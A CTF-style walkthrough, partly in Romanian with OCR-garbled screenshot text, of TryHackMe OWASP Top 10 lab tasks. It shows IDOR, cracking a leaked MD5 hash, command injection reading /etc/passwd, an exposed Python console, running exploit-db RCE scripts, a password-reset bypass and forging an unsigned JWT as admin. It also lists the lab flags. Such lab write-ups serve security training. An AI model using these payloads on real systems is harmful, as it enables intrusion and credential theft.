Task 4- Broken Access Control (IDOR Challenge)

URL: http://10.10.180.150/note.php?note_id=1

Modificam numarul 1n sens crescator sau descrescator

http://10.10.180.150/note.php?note_id=2 (3.4 sau 0)

flag{fivefourthree}

Task 8 - Cryptographic Failures (Challenge)
Pagina Login -> View source

<!-- Must remember to do something better with the
database than store it in /assets... -->

http://10.10.180.150:81/assets/

Index of /assets

e Parent Directory

/

e Css/
e fonts/
e images/

— T
s

e s/
e webapp.db

Fisierul cu informatii sensitive este: webapp.db

Folosind informatiile din Task 6
S sqlite3 webapp.db
Sqlite> .tables

Sqlite> select * from users;



// 6eea9b7ef19179a06954edd0f6c05ceb

~/Downloads

.py  DEADIJIODE didorin2.ovpn didorin.ovpn webapp.db

~/Downloads
i webapp. dl;
SQLite wversiom 3.46.1
".help” for usage
» ,tables;
unknown command or invalid arguments: “tables;". Enter ".help” fo

sglite> .tables
sessions Users

sqlite> select * from users

https://crackstation.net/ 6eea9b7ef19179a06954edd0f6c05ceb

Enter up to 20 non-salted hashes, one per line:

6eea9b7ef19179a06954edddf6cO5ceb

. I'm not a robot

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shal(shal_bin)),
QubesV3.1BackupDefaults

Hash Type Result

Color Codes: [Bfé8f Exact match, Yellow: Partial match, [l Mot found.

admin / GUESEVIEcH

' admin l

-

| Login! |



Flag:

Welcome, admin

Well done.
Your flag is: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjd1l}

Task 10 - 3.1. Command Injection

What strange text file is in the website's root directory? drepper.txt

Cowsay Online
IR cefault |

Submit

< css drpepper.txt index.php js >

\ o\
(N JAVA

|- |

o




How many non-root/non-service/non-daemon users are there? 0

Cowsay Online

|

I

[ FORECECE N |

II'.':F-:I 1F OB EREE G |
hitpd -0 FOREGRREMHG |
hEtpd <D FOR PG I
httpd i SRR I
httpd |
hittpd - FE b 116 apache O I
hitpd - FC (AN 317 apache 009 |
hitpd -D 368 anache a:88 sh |
AN/ cowsay <f detault $(ps |

1 ps -plf K




What user is this app running as? apache

Cowsay Online
Choose your cow: [FSENIIRg

$(whoami)

Submit

< apache >

(N JAVAN

[]----w |

What is the user's shell setas? /sbin/nologin

Cowsay Online
Choose your cow:

$(cat /etc/passwd)

Submit

/ root:x:0:0:root:/root:/bin/ash Y
| bin:x:1:1:bin:/bin:/sbin/nologin |
| daemon:x:2:2:daemon:/sbin:/sbin/nologin |
| adm:x:3:4:adm:/var/adm:/sbin/nologin |
| 1p:x:4:7:1p:/var/spool/lpd:/sbin/nologi |

| n sync:x:5:0:sync:/sbin:/bin/sync |



What version of Alpine Linux is running? 3.16.0

Cowsay Online
AT

$(cat /g;g/alpine-release)|

Submit

< 3.16.0 >

A A

\ 0o\
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[]---w |

o




Task 11 — 4. Insecure Design

What is the value of the flag in joseph's account?

joseph

10 10

1110

0101 01
o1 010
01

Password Reset

Step 1 - Please enter your username:

Username ~ eeeeee

<< Back to Login

green / wOtRIOLITV2bHSc

10 10

1110

0101 _01

o1 010
01

Password Reset

Step 2 - Please answer one of your security questions to confirm your identity:

Security

Question What's your mother's sister's son's nephew's neighbour's friend name? <

What's your mother's sister's son's nephew's neighbour’s friend name?
What's your favourite colour?

Answer

What's your first pet's current address?

Continue

THM{Not_3ven_c4tz _cOuld_sav3 U!}

10 10

1110

0101 01
01 010
01

Password Reset

Success: The password for user joseph has been reset to wOtRILITV2bHSc

<< Back to Login



THM{Not_3ven_c4tz_cOuld_sav3_U!}

Docs

Cat Images

: |
0
=
-~

THM{Not_3ven_c4tz_cOuld_sav3_U!}

Task 12 - Security Misconfiguration

http://10.10.183.119:86/console

>>> import
total 24

-PW-r--r--
-PW-r--r--
-PW-r--r--
drwxr-xr-x
-PW-r--r--

todo.db

os; print(os.popen("ls -1").read())

RPN R R R

root
root
root
root
root

root
root
root
root
root

249 Sep 15
1411 Feb 3
137 Sep 15
4096 Sep 15
8192 Sep 15

import os; print(os.popen(”ls -1").read())

2022 Dockerfile
2023 app.py
2022 requirements.txt

2022 templates
2022



import os; print(os.popen("cat app.py").read())

>>> import os; print(os.popen(“cat app.py").read())

import os

from flask import Flask, render_template, request, redirect, url for
from flask sqlalchemy import SQLAlchemy

T Yo Pl
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app = Flask(__name_ )
app.config[ 'SQLALCHEMY DATABASE URI'] = "sqlite:////" + DATABASE
db = SQLAlchemy(app)

class Todo(db.Model):
id = db.Column(db.Integer, primary_key=True)

secret_flag = "THM{Just_a_tiny_misconfiguration}"

Task 14 - Vulnerable and Outdated Components - Exploit

https://www.exploit-db.com/

(@ [ % exploit-db.com o el @A OBk O :

Verified Has App Y Filters W% Reset All
Show| 15 v Search: | nostromo ‘
Date D A V Title Type Platform Author
2020-01-01 ¥ B . nostromo 1.9.6 - Remote Code Execution Remote Multiple Kroff
2019-11-01 3 v Nostromo - Directory Traversal Remote Command Execution (Metasploit) Remote Multiple Metasploit
2011-03-05 Y v/ nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution Remote Linux RedTeam Pentesting GmbH
Showing 1 to 3 of 3 entries (filtered from 46,312 total entries) IRS PREVIOU! o NEXT

Descarcare script 47837.py



Task 15 - Vulnerable and Outdated Components - Lab
Cautare pe web: CSE Book Store 1.0

Exploit-DB
https://www.exploit-db.com » exploits  $

S

Online Book Store 1.0 - Unauthenticated Remote Code ...

8 Jan 2020 — Online Book Store 1.0 - Unauthenticated Remote Code Execution.. webapps
exploit for PHP platform.

Online Book Store 1.0 - Unauthenticated Remote Code Execution

EDB-ID: CVE: Author: Type: Platform: Date:
478¢€ TIB3RIUS WEBAPPS PHP C
Download
EDB Verified: ./ Exploit: £ / {} Vulnerable App:

Descarcare script 47887.py
Executam scriptul in masina AttackBox
Executam scriptul
python 47887.py http://10.10.183.119:84/

se deschide o interfata prin care putem executa comenzi asupra sistemului de operare. Executaim
comanda:

cat /opt/flag.txt

Task 17 - Identification and Authentication Failures Practical

Register

Adaugam un utilizator nou cu numele darren ( dar cu un spatiu in fatd)



Register

Username:

darren

Email:

test@t.com

Password:
Register

User registered successfully!

Login cu numele nou introdus si parola respectiva.

Authentication

fe86079416a21a3c99937fea8874b667

Rezultat: fe86079416a21a3¢99937fea8874b667
Repetam in acelasi mod pentru username arthur si obtinem:

d9ac0f7db4fdad460ac3edeb75d75¢el6e



Task 19 - Software Integrity Failures

Accesam: https://www.srihash.org/

SRI Hash Generator

Enter the URL of the resource you wish to use:

Resource URL

SRI Hash Generator

Enter the URL of the resource you wish to use:

l SHA-384 |
| SHA-512 ‘

https://code.jquery.com/jquery-1.12.4.min.js

Si obtinem:

SRI Hash Generator

Enter the URL of the resource you wish to use:

https://code.jquery.com/jquery-1.12.4.min.js

<script src="https://code.jquery.com/jquery-1.12.4.min.js" integrity
="sha256-ZosEbRLbNQzLpnKIKEdrPv710y9C27hHQ+Xp8a4MxAQ=" crossorigin="an

onymous"></script>

Copy

Rezultat:

sha256-ZosEbRLbNQzLpnKIKEdrPv710y9C27hHQ+Xp8a4MxA Q=



Task 20 - Data Integrity Failures

Username/password: guest / guest

COOKIES 4 ALL

Cookies: F12

Sesiunea: jwt-session

eyJ0eXA101JKV1QiLCJIhbGceiO1JIUzIIN1J9.eyJ 1c2VybmFtZS16Imd 1 ZXNOliwiZXhwljoxNzQ
3INzMINTMxfQ.AnwSsVIB6QckJEja%i1IXmLJ4lzm47TmEWQVS-5LIp ¢

iK [0 Elements Console Sources
Application

Network  Performance Memory  Application
) Manifest

Security  Lighthouse  Recorder
A C Y Fiter 5

Name Value Dom.. Path
% Service workers jwt-session €yJ0eXAIOUKV1QILCINDGEOUIUZINUS.... 10.10... /

B Sstorage PHPSESSID nmf4lcco77p0fSlgmn34tatd3t

Storage

1010.. /

B @ i X
= [ Only show cookies with an issue
Epir.. Size  Hitp.. Secure Same.. Parit.. Cross.. Priority
Sessi. 142

Medi...
Sessi.. 35
» B8 Local storage

Medi...
» BB Session storage

» B8 Extension storage
B IndexedDB
+ & Cookies
@ http://10.10.183.11...
B Cache storage

© storage buckets

Background services

B Back/forward cache
B Bounce tracking miti...
Q Notifcstions No cookie selected
BS Payment handler
» N Speculative loads
& Push messaging

Select a cookie to preview its value
Frames



https://appdevtools.com/base64-encoder-decoder

appdevtools.com/base64-encoder-decoder

Base64 Encoder / Decoder

ncode  Decode

Input String

Output Base64

Decodificam subsirurile primul si al doilea punct (.)

eyJ0eXAiO01JKV1QiLCJhbGeiO1J1 eyJ1c2VybmFtZS16Imd1ZXNOliwiZXhwljoxNzQ3N
UzIINiJ9 zMINTMx{Q

eEncode vecode

Encode

Input Base64
Input Base64

- " e . eyJ1c2VybmFtZSI16imd1ZXNOliwiZXhwljoxNzQ3NzM1NTMxfQ
eyJ0eXAi0iJKV1QiLCJhbGciOiJIUzI1NiJ9|

Output String Output String

{typ""JWT""alg""HS256"} {'username”:"guest’,’exp™:1747735531}

{"typ":"JWT","alg":"HS256"} {"username":"guest","exp":1747735531}



Inlocuim: guest cu admin si HS256 cu none si regeneram BASE64

{"typ":"JWT","alg":"none" "username":"admin","exp":1747729375}

Encode Decode

i R "username”:"admin’,'exp":1747729375
(typ""JWT""alg":"none"} ( : )

Output Base64

eyJ1c2VybmFtZSI6imFkbWIuliwiZXhwljoxNzQ3NzI5SMzc1fQ==
Output Base64

eyJ0eXAiOiJKV1QiLCJIhbGciOiJub25IIin0=

eyJ0eXAiOiJKV1QiLCJhbGeiOiJub2 511 eyJ1c2VybmFtZSI6ImFkbWluliwiZXhwljoxN
n0= zQ3NzMINTMxfQ==

Inlocuire cookie si refresh pagina  (Atentie la punctul de la final text)

eyJ0eXAiOiJKV1QiLCJhbGciOiJub251In0=.eyJ1c2VybmFtZSI6ImFkbWluliwiZXhwljox
NzQ3NzMINTMxfQ==,

N Elements Console Sources Network Performance Memory Application  Security Ligh
Application & C Y Filter =x X ([ Only shoy
D Manifest Name Value Dom... Path
°¢ Service workers Jjwt-session eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lin0=.ey 10.10... /
8 storage PHPSESSID nmf4lcco77p0f9lgmn34tat43t 10.10... /

THM {Dont take cookies from strangers}




Task 21 - Security Logging and Monitoring Failures

Deschidem fisierul text descarcat : login-logs 1595366583422 txt

Observam erorile si deducem adresa IP
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Task 22 - Server-Side Request Forgery (SSRF)

http://10.10.101.62:8087/admin

copy link Download Resume

Solutia

localhost /

secure-file-storage.com

2019-03-18T09:
2019-03~18T10%
2019-03-18T11 =
2019-03-18T11 :
2019=03=18T1 3
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/login
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/login
/login
/login



